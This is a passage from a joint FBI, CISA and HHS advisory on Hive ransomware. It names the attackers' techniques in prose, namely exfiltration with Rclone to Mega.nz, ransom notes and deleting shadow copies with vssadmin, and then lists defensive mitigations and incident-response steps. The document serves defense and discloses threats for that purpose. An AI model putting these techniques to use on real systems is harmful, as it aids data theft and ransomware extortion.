Exfiltration Technique Title ID Use Transfer Data to Cloud Account T1537 Hive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz.


Impact Technique Title Use Data Encrypted for Impact T1486 Hive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered.


Inhibit System Recovery T1490 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell.


Mitigations FBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware:


Verify Hive actors no longer have access to the network.


Install updates for operating systems, software, and firmware as soon as they are released.


Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities.


Consider leveraging a centralized patch management system to automate and expedite the process.


Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.


If used, secure and monitor RDP.


Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure.


After assessing risks, if you deem RDP operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse.


If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.


Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.


Be sure to properly configure devices and enable security features.


Disable ports and protocols not used for business purposes, such as RDP Port 3389/TCP. Maintain offline backups of data, and regularly maintain backup and restoration.


By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.


Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.


Ensure your backup data is not already infected.


, Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.


Install and regularly update anti-virus or anti-malware software on all hosts.


Enable PowerShell Logging including module logging, script block logging and transcription.


Install an enhanced monitoring tool such as Sysmon from Microsoft for increased logging.


Review the following additional resources.


The joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.


The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center Joint Ransomware Guide covers additional best practices and ways to prevent, protect, and respond to a ransomware attack.


StopRansomware.gov is the U.S. Government’s official one-stop location for resources to tackle ransomware more effectively.


If your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions.


Isolate the infected system.


Remove the infected system from all networks, and disable the computer’s wireless, Bluetooth, and any other potential networking capabilities.


Ensure all shared and networked drives are disconnected.


Turn off other computers and devices.


Power-off and segregate (i.e., remove from the network) the infected computer(s).


Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware.


If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted.


Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists.


Secure your backups.


Ensure that your backup data is offline and secure.


If possible, scan your backup data with an antivirus program to check that it is free of malware.


In addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.


Preparing for Cyber Incidents Review the security posture of third-party vendors and those interconnected with your organization.


Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.


Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.


Document and monitor external remote connections.


Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.


Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).


Identity and Access Management Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute of Standards and Technology (NIST) standards for developing and managing password policies.


Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.


Store passwords in hashed format using industry-recognized password managers.


Add password user “salts” to shared login credentials. Avoid reusing passwords.


Implement multiple failed login attempt account lockouts.


Disable password “hints.”


Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised.


Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets.


Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.


Require administrator credentials to install software.


Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.


Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.


Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege.


Implement time-based access for accounts set at the admin level and higher.


This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need.


Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.


Protective Controls and Architecture Segment networks to prevent the spread of ransomware.


Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.


To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network.


Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.


Install, regularly update, and enable real time detection for antivirus software on all hosts.


Vulnerability and Configuration Management Consider adding an email banner to emails received from outside your organization.


Disable command-line and scripting activities and permissions.


Privilege escalation and lateral movement often depend on software utilities running from the command line.


If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.


Ensure devices are properly configured and that security features are enabled.


Restrict Server Message Block (SMB) Protocol within the network to only access necessary servers and remove or disable outdated versions of SMB (i.e., SMB version 1).


Threat actors use SMB to propagate malware across organizations.


REFERENCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.


Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.


No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.


INFORMATION REQUESTED The FBI, CISA, and HHS do not encourage paying a ransom to criminal actors.


Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.


Paying the ransom also does not guarantee that a victim’s files will be recovered.


However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers.


Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your local FBI field office, or to CISA at report@cisa.gov or (888) 282-0870.


Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks.


The FBI may seek the following information that you determine you can legally share, including: Recovered executable files Live random access memory (RAM) capture Images of infected systems Malware samples IP addresses identified as malicious or suspicious Email addresses of the attackers A copy of the ransom note Ransom amount Bitcoin wallets used by the attackers Bitcoin wallets used to pay the ransom Post-incident forensic reports DISCLAIMER The information in this report is being provided “as is” for informational purposes only.


FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis.


Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS. Revisions Initial Version: November 17, 2022